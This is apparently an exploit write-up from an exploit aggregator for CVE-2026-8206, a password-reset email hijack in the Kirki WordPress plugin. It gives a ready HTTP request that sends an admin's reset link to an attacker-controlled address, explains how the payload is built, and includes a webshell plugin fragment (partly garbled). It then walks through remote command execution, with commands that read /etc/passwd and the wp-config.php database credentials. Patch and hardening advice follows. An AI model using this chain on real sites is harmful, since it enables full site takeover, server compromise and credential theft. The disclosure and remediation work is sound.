## https://sploitus.com/exploit?id=8FDF1813-D835-5E1C-908C-E5505690D6E5
# CVE-2026-8206
## Vulnerability: Unauthenticated Account Takeover โ Password Reset Email Hijacking in Kirki Customizer Framework
**CVSS v3.1 9.8 / 10.0 CRITICAL**
Vector: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
---
## 1. Overview
CVE-2026-8206 is an **Unauthenticated Account Takeover** vulnerability in Kirki Customizer Framework โ a popular WordPress page builder plugin with over 90,000 active installations. The vulnerability allows an attacker to take over any WordPress account (including admin) simply by sending a single HTTP request.
The bug resides in the REST API endpoint `kirki-forgot-password` of the ComponentLibrary module. This endpoint allows requesting a password reset for any user and sends the reset link to an **email address specified by the attacker**, instead of the user's registered email.
| Information | Details |
| --- | --- |
| Plugin | Kirki Customizer Framework (WordPress Page Builder) |
| Affected Versions | 6.0.0 โ 6.0.6 |
| Patched | 6.0.7 (or 6.0.12+) |
| Vulnerability Type | Unauthenticated Account Takeover via Password Reset Email Hijacking |
| Endpoint | `/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password` (or `/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password`) |
| CVSS | 9.8 CRITICAL |
**Exploitation Prerequisites:**
- Kirki Customizer Framework 6.0.0โ6.0.6 is activated
- REST API is public (WordPress default)
- ComponentLibrary module is active (default when the plugin is active)
- No account or session is required
โ Every WordPress site with Kirki 6.0.0โ6.0.6 installed is vulnerable by default.
## 2. Terminology
### ComponentLibrary REST Endpoints
Kirki registers REST API endpoints for the Component Library feature, including login, register, forgot-password, and change-password. All of them allow guest access (`guest_permissions_check` returns `true`).
### Nonce Validation
WordPress nonce is a CSRF protection token. Kirki requires a nonce via the `X-WP-Element-Nonce` header or checks a nonce parameter in the request. However, the nonce can be publicly generated/extracted from the client side.
### Password Reset Key
WordPress uses `get_password_reset_key()` to generate a password reset token. This token is included by Kirki in the email template before sending.
## 3. Root Cause โ Password Reset Email Hijacking
**File:** `ComponentLibrary/controller/CompLibFormHandler.php`
### Bug 1: Missing email-to-user validation
In the vulnerable version (6.0.0โ6.0.6), the `handle_forgot_password()` function does not verify whether the provided email matches the user's registered email. An attacker can specify the victim's username and their own email โ the reset link will be sent to the attacker's email.
Vulnerable source code:
```php
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$this->validate_nonce( 'kirki-forgot-password' );
$email = $form_data['email']; // user_email
// Attacker's email is used directly
$key = get_password_reset_key( $user );
$reset_link = "$url?action=rp&key=$key&login=$username";
// SENDS RESET LINK TO ATTACKER'S EMAIL
wp_mail( $email, $subject, $body_with_reset_link );
// ^^^^^
// ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
```
### Bug 2: Missing HMAC signature on email template
The email subject and body are received from the client via the `emailSubject` and `emailBody` parameters without any HMAC signature to verify integrity. The attacker can arbitrarily modify the content of the email being sent.
```php
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject']; // Client-controlled
$email_body = $form_data['emailBody']; // Client-controlled
// No verify_email_template_signature()
// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
```
## 4. Why This Vulnerability Is Dangerous
| Factor | Explanation |
| --- | --- |
| No authentication required | `guest_permissions_check()` returns `true` โ anyone can call the endpoint |
| Any account can be taken over | Only the username is needed (default: 'admin') โ no email/password required |
| Impact: Admin takeover | Takeover admin โ upload webshell โ RCE โ full server control |
| Widespread | Kirki is a plugin widely integrated into many WordPress Themes |
## 5. Attack Chain Analysis
Exploiting CVE-2026-8206 starts from zero access โ no account, no password, no session โ to full admin takeover using only HTTP requests.
```
Phase 1: Extract Nonce โ Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email โ Send reset link to attacker's email
Phase 3: Reset Password โ Change admin password using the obtained reset key
Phase 4: Login Admin โ Log in with the new password
Phase 5: Webshell Upload โ Install backdoor via plugin upload
Phase 6: RCE โ Execute arbitrary commands on the server
```
### **5.0 Payload Construction Methodology**
#### **Step 1: Reading the Source Code (most accurate method)**
Download the plugin from `wordpress.org` and open the file `CompLibFormHandler.php` directly:
```php
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
if ( $body_data['type'] === 'text' ) {
$email_body = $email_body . $body_data['value'];
} elseif ( $body_data['type'] === 'chip' ) {
$email_body = $email_body . $chip_data[ $body_data['value'] ];
// ^^^^^^^^^^^^^^^^^^^
// $chip_data['reset_link'] = actual reset URL!
}
}
```
โ Reading the code reveals: `emailBody` must be a JSON array, each item has `type` and `value`. If `type = chip` and `value = reset_link`, Kirki automatically inserts the reset link into the email.
#### **Step 2: Grepping the Plugin's JavaScript Bundle**
Grep directly within the plugin directory:
```bash
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
```
The compiled frontend code will reveal the exact JSON structure required.
#### **Payload Discovery Process Summary:**
```
Find endpoint (/wp-json/ or rest_route)
โ
Read PHP source โ find $form_data['emailBody']
โ
Understand JSON array format (type / value)
โ
Read chip_data array โ find key "reset_link"
โ
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
โ
Test โ success
```
### 5.1 Phase 1: Hijack Password Reset Email
The attacker sends a POST request to the forgot-password endpoint with the victim's username (`admin`) and an email address controlled by the attacker (`attacker@evil.com`). The server generates a reset key for the victim but sends the reset link to `attacker@evil.com`.
Sending the request:
```http
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded
username=admin&email=attacker@evil.com&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D
```

Response (success):

**Email received in the attacker's mailbox (MailHog at http://localhost:8025):**
```
Subject: Password Reset
Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin
```

### 5.2 Phase 2: Reset Password & Admin Login
The attacker uses the `key` token obtained from the email to change the admin account password via the `kirki-change-password` endpoint or WordPress's default form, then logs in and gains full administrative control over the website.

Password changed and accessed using the `admin` account.

Account `admin` access successful.
### **5.3 Phase 3: Upload Webshell & RCE**
After gaining Admin Dashboard access, the attacker escalates from **Account Takeover** to **Remote Code Execution (RCE)** through WordPress's default Upload Plugin feature.
#### **Step 1: Create a Plugin Containing a Webshell**
The attacker creates a PHP webshell disguised as a legitimate WordPress plugin:
```php
';
echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
echo '';
}
```
This file is compressed into `system-health.zip` for upload via the Admin interface.
#### **Step 2: Upload Plugin via Admin Dashboard**
The attacker navigates to **Plugins โ Add New Plugin โ Upload Plugin**, selects the `system-health.zip` file and clicks **Install Now โ Activate Plugin**.

After upload, WordPress automatically extracts the `.zip` file into the `/wp-content/plugins/` directory on the server, making the webshell ready to operate.
#### **Step 3: Execute Commands on the Server (RCE)**
The attacker accesses the webshell directly via the endpoint `/wp-content/plugins/webshell-plugin/shell.php`


RCE successful.
At this point, the attacker has full command execution capability on the server with `www-data` privileges. Subsequent actions may include:
| **Command** | **Purpose** |
| --- | --- |
| `id` | Confirm the running user's privileges |
| `whoami` | View current username |
| `cat /etc/passwd` | Read the system user list |
| `uname -a` | View kernel/OS information |
| `cat wp-config.php` | Read database credentials |
| `ls -la /` | Browse the entire filesystem |
#### **Privilege Escalation Chain Summary:**
```
Admin Dashboard (Account Takeover)
โ
Upload Plugin containing Webshell (.zip)
โ
WordPress extracts โ .php file resides on server
โ
Access shell.php?cmd=
โ
Server executes command โ returns result
โ
RCE complete โ full www-data privileges on server
```
## **6. Attack Chain Summary**
| **#** | **Phase** | **Method** | **Path** |
| --- | --- | --- | --- |
| 1 | Hijack Reset Email | POST | `/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password` |
| 2 | Reset Password | GET | `/wp-login.php?action=rp&key=&login=admin` |
| 3 | Login Admin | POST | `/wp-login.php` |
| 4 | Upload Webshell | POST | `/wp-admin/update.php?action=upload-plugin` |
| 5 | RCE | GET | `/wp-content/plugins/webshell-plugin/shell.php?cmd=` |
---
## **7. Defense and Remediation**
### **7.1 Plugin Patch (definitive fix)**
| **Current Version** | **Upgrade To** |
| --- | --- |
| 6.0.0 โ 6.0.6 | **6.0.7** or newer |
### **7.2 Code Fix โ Validate email matches the user**
```php
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response(
array( 'message' => 'If an account exists...' ), 200
);
}
$email = $user_email; // Force use of the user's actual email
```
### **7.3 Hardening โ Prevent RCE Escalation**
Even if the Admin account is compromised, damage can be mitigated with the following measures:
| **Measure** | **Configuration** |
| --- | --- |
| Block plugin/theme installation via Dashboard | Add `define('DISALLOW_FILE_MODS', true);` to `wp-config.php` |
| Block code editing from Dashboard | Add `define('DISALLOW_FILE_EDIT', true);` to `wp-config.php` |
| Restrict upload directory permissions | `chmod 755` for directories, `chmod 644` for files |
| WAF (Web Application Firewall) | Deploy ModSecurity or Cloudflare WAF to block abnormal requests to REST API |
| Monitoring | Monitor file changes in `/wp-content/plugins/` using tools like OSSEC or Wordfence |